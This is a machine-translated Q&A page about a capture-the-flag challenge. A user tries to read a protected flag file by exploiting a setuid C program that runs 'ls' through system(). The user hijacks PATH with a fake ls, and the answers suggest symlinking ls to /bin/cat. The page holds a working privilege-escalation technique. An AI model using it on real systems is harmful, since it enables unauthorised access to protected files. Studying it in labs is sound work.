![](/img/trans.png)
[英]This code emulates command ls|cat -n, but i need to transmit the needed directory through stdin instead of “.”, how can i do it?
[英]How to convert 'ls' command to 'cat' command?
我试图解决这个问题,我只允许运行ls命令,我的目标是读取标志。 有一个易受攻击的C代码,它有setuid 。
-rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c
-rw-r----- 1 lameprogrammer lameprogrammer 154 Sep 15 07:40 flag
我是用户攻击者 ,我必须阅读此标志文件。 给定的C代码是
#include <stdlib.h>
#include <stdio.h>
#define FILENAME "/var/challenges/attacker/challenge1/flag"
int main(void)
{
int vert;
vert = system("ls " FILENAME);
if(!vert)
puts("Flag is at " FILENAME " :P ");
else
puts("Sorry! no file is there");
}
我试图将ls转换为cat,这样如果运行,那么它将读取标志文件。 为此,我将所有bin文件夹复制到我的本地空间,然后用cat替换ls然后导出新的PATH。 从技术上讲,它应该替换,我的ls命令应该像猫一样工作,但它不起作用。 以下是我的命令:
cp -r /bin /home/attacker
cd /home/attacker/bin
rm ls
cp cat ls
export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games
ls命令不能正常使用cat和输出是:
ls: unrecognized option '--color=auto'
Try 'ls --help' for more information.
当我试图运行./vul_c它说权限被拒绝然后它打印对不起! 没有档案 。
对此的任何帮助都会很棒。
该计划有效吗? 我看到的问题是,如果你在shell中使用ls
,它是否有一个可以启用着色的别名,即类似的东西
alias ls='ls --color=auto'
现在这是cat
不会理解的东西。 但它只适用于您的 shell,而不是该脚本运行的ls
命令,因为它不会使用别名。 也许像unalias ls
这样的东西会有助于shell。
现在, system
函数无法运行你的ls
因为它没有适当的权限 - 你忘了chmod +x ls
。
你是在正确的方向,但你只是为这个小事做了太多的努力。 而不是创建程序为什么不创建符号链接,然后将其指向cat
。
尝试这一步:
ln -s /bin/cat ls
最后,导出这个,我希望你将完成你的解决方案。 在这方面,您甚至不必担心许可。 如果有效,请告诉我。
请尝试以下命令:
unalias ls
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.